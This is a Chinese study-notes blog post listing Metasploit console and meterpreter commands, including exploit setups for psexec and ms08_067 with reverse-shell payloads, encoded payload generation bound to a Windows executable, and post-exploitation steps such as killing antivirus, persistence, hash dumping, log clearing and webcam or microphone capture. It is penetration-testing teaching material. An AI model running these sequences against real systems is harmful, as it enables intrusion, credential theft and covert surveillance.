MSF(二):msf外部/内部常用命令

msf外内部常用命令

安全牛学习Metasploit Framework笔记

1、msf外部命令
  • msfconsole -h/-q/-r/-v/exit
    msf的帮助信息/安静启动,没有banner/使用msfconsole自动化执行rc文件里的内容/msf版本/退出msf
  • help/?/help xxx
    帮助信息/帮助信息/查看具体名称的帮助i信息
  • service postgresql start
    启动数据库
2、msf内部基本命令

(1)基本命令

  • resource xx.rc
    在msf内部自动化执行该文件,rc是资源文件的标准扩展名,msfconsole -r xx.rc是一样的效果,只不过msfconsole需要先打开msf控制台,再执行xx.rc资源文件
  • banner/color/connect -h
    msf标语,简单介绍/color true or false or auto/类似nc
  • show auxiliary / exploits / payloads / encoders / nops/post
    辅助模块/攻击代码/攻击载荷/编码/payload的稳定与维持大小/后渗透
  • search xxx / help search
    搜索xxx利用攻击模块/search查询帮助
  • search name:mysql/search name:mysql type:auxiliary
    单条件搜索/多条件搜索
  • use dos/windows/smb/ms09_001_write
    使用攻击模块
    进入攻击模块后:show options / payloads / targets / advanced / evasion/missing
    显示配置信息/显示适用于当前exploit利用模块的payloads,并不显示全部/指定目标系统,一般都会选择,系统默认的攻击成功率不高/显示高级参数配置/作逃避,绕过的配置/显示哪个参数必须设置的但还没有设置的
  • info/edit
    获取模块的基本信息/编辑当前exploit模块的代码
  • Check /back
    配置完成后,在exploit之前判断目标ip漏洞是否存在,并不是所有exploit模块存在check,只有少数/返回上一层,类似linux中的cd ..,但无法退出msf,退出使用exit
  • db_status / db_rebuild_cache/db_disconnect/db_connect/db_nmap
    数据库连接信息/MSF所有的模块都保存在/usr/share/metasploit-framework/modules/,因为在msf内部使用文件搜索较慢,所以将所有模块缓存到msf的数据库里,那么搜索的速度就会变快,目的:启动一个任务,在msf数据库中,创建一个所有模块的cache,提高搜索速度/断开msf和当前数据库的连接/连接指定数据库连接的配置文件,例:db_connect -y /usr/share/metasploit-framework/config/database.yml,还有不懂得可以db_connect -h查看相关配置信息/集成在msf中的nmap,和外部的nmap使用和效果一样,唯一不同的就是,msf中的nmap扫描结果会自动保存在msf数据库中
  • hosts / hosts 1.1.1.1 / hosts -u / hosts -c address,os_flavor -S Linux
    查看当前数据库中已扫描到的主机信息/查看指定IP的主机信息/查看哪些主机是开机up状态/查看指定列的信息/搜索包含指定字符串的内容
  • services/services -p 80 / services -c info,name -p 1-1000 192.168.100.141
    显示已扫描到主机的端口信息/搜索指定已扫描主机开放的指定端口/搜索指定列、端口、IP的信息
  • vulns / creds (mysql_login) / loot (hashdump)
    查看已经攻击成功的漏洞信息/显示攻击成功时的服务的账号和密码信息/hash值的破解
  • db_import /xx/xx/xx.xml/ db_export -f xml /xx/xx/xx.xml
    数据库导入/数据库导出
  • set / unset / setg / unsetg / save
    设置参数/取消设置的参数/全局设置参数,只要有模块里有该参数,值都为我们之前已经全局设置的/取消全局变量的设置/保存当前msf会话内的配置,退出后重新登陆msf配置依旧存在,如果想恢复初始的样子,那就删掉这个保存的配置文件,重启msfconsole
  • run / exploit/exploit -j
    两个命令一样的,auxiliary模块常用run,exploits模块常用exploit,这是建议,实际用哪个都一样/拿到shell不会立马进入shell,以后台的进程存在
  • jobs/ kill 0
    在后台运行的job/kill id值
  • load / unload loadpath
    调入插件,连接外部的插件/关闭调用外部插件/众所周知,msf的所有模块都在/sur/share/metasploit-framework/modules下,loadpath可以调用其它指定目录里的模块,比如自己开发或编写的模块
  • sessions or sessions-I/sessions -i (Shell 、Meterpreter session、VNC)
    获得的shell连接会话,已经建立的session//进入指定id的session
  • route通过指定session路由流量
    指定一个session,以后朝向对方内网的流量,都通过这个session id建立的连接,进行流量转发,相当于这个session id就是中转站
  • irb (Framework::Version)
    进入msf的内部开发模式,可以执行一些内部函数,也可以开发自己的模块等等

(2)Exploit模块

  • Active exploit(主动攻击,主要是服务端的漏洞,将payload发送给目标服务端侦听的端口)这个就是我们直接攻击,不开防火墙可以,开了不行
    use exploit/windows/smb/psexec
    该模块是在远程目标系统上执行程序
    set RHOST192.168.1.100
    set PAYLOAD windows/shell/reverse_tcp
    set LHOST 192. 168.1.1
    set LPORT 4444
    set SMBUSER user1
    set SMBPASS pass1
    exploit
  • Passive Exploits(被动攻击,主要是客户端的程序)这个就是我们设陷阱,等目标上钩,这个可以针对开了防火墙的,配合社会工程学
    use exploit/windows/browser/ms07_017_ani loadimage_chunksize
    set URIPATH /
    set PAYLOAD windows/shel/reverse tcp
    set LHOST 192. 168.1.1
    set LPORT 4444
    exploit

(3)生成payload
use payload/windows/shell bind_ tcp
(4)使用payload

  • generate(坏字符)
    使用generate生成一个payload
  • generate -b '\x00'/generate -b '\x00\x44\x67\x66\xfalx01\xe0\x44\x67\xa1\xa2\xa3x75\x4b'/generate -b \'x00\x44\x67\x66\lxfa\x01\xe0\x44\x67xa1xa2lxa3\x75\x4b\xFF\x0a\x0b\x01\xcc\6e\x1e\x2e\x26'
    msf自动选择编码模块绕过坏字符,避免在shellcode中出现的坏字符,常用过滤的是\x00、\xff,都是使用encoder过滤引号中的坏字符
    show encoders / generate -e x86/nonalpha
    显示编码类型/手动指定编码模块
    generate -b \x00' -t exe -e x86/shikata_ga_ nai -i 5 -k -x /usr/share/windows-binaries/radmin.exe -f /root/1.exe
    -b过滤encoser坏字符,-t指定输出格式,可为c、exe等等,-e指定encoder类型,-i使用编码的次数,多轮编码,-k不产生新的进程,只产生新的线程,更隐蔽,-x将payload和指定模板绑定在一起,-f输出指定文件。注:最后可利用文件为1.exe
  • NOP=no-operation=Next Operation (无任何操作)
    当CPU执行到NOP,就顺则会往下滑,滑到有操作的位置,EIP返回到存储NOP sled的任意地址时将递增,最终导致shellcode执行,例:generate -s 14,在payload前面加14位NOP
3、meterpreter基本命令
  • Help/background
    帮助信息/从seesion中退出,但保存session的连接
  • run/bgrun killav/bgrun persistence/bgrun hashdump/bgrun vnc/sound_recorder/webcam/winbf
    前台运行指定命令/后台与运行,关闭杀毒软件/建立持久连接,将shellcode写入系统文件,开机自启/开启图形化远程管理/录制声音/开启摄像头/让肉鸡帮忙暴力破解密码,利用肉鸡资源
  • cd/ls/cat/pwd/dir/mkdir/mv/rm/rmdir/edit/可以使用linux命令
    进入/显示文件/查看/显示当前路径/显示文件/创建目录/移动/删除/删除目录/编辑
  • lpwd/lcd 本地目录
    local当前的工作目录,就是在kali上的我们使用的工作目录/进入我们本地目录
  • clearev/download/upload /usr/share/windows binaries/nc.exe c:\\windows\\system32
    删除目标系统日志/下载文件到本地/上传本地文件到目标系统
    注:因为\在linux中有转义符的含义,所以执行linux命令时要用两个\表示目标windows的\
  • win+r eventvwr
    windows日志查看
  • execute -f cmd.exe -i -H
    -f执行目标系统里的哪个程序,-i和执行的这个程序进行交互,-H将这个程序窗口隐藏起来执行
  • getuid/getsystem/getprivs/getproxy/getpid/migrate
    以哪个用户账号登陆到目标系统的/强制获取成system账号,获得系统权限/查看当前用户权限/获取目标系统代理信息/查看当前shellcode的线程在目标系统哪个进程当中/迁移线程到其它进程中
  • hashdump/run post/windows/gather/hashdump
    系统账号哈希值/系统账号哈希值
  • sysinfo/ps/kill/reboot/shutdown/shell
    目标系统信息/查看进程/查杀进程/重启/关闭/获得一个目标操作系统的shell,退出到meterpreter用exit
  • show_mount/search -f autoexec.bat
    当前挂载了几个系统分区/搜索目标系统中的文件
  • arp/netstat/ipconfig/ifconfig/route
    查看目标机器的arp缓存/查看目标端口连接/ip地址/ip地址/查看目标路由表
  • idletime/resource
    查看目标操作系统空闲时间/调用外部的资源文件,自动化执行
  • record_mic/webcam_list/webcam_snap -i 1 -v false
    记录目标麦克风的声音/列出目标系统上所有的摄像头/每隔一秒钟用摄像头拍照一次
4、meterpreter python 扩展

(1)2015年11月份,来自社区的贡献
无需运行环境,在客户端运行原生python代码
就是不需要编译python,目标系统没有python解释器,也可以执行
使用示例:

- load python
  加载python插件
- Help
  帮助
- python_execute "print ('asdasdas')"
  执行python代码
- python_execute "import oS;cd = os.getcwd()" -r cd
 -r是显示cd变量的值
- python_import -f find.py

(2)msfcli
201 5年6月已经被取消,由msfconsole -x取代,编写脚本时便于引用
msfconsole -x "use exploit/windows/smb/ms08_ 067 netapi; set RHOST 1.1.1.1; set PAYLOAD windows/meterpreter/reverse_ tcp; set LHOST 1.1.1 .8; set LPORT 5555; set target 34;exploit"

发布了135 篇原创文章 · 获赞 51 · 访问量 5万+

猜你喜欢

转载自blog.csdn.net/qq_41617034/article/details/104425156
msf
今日推荐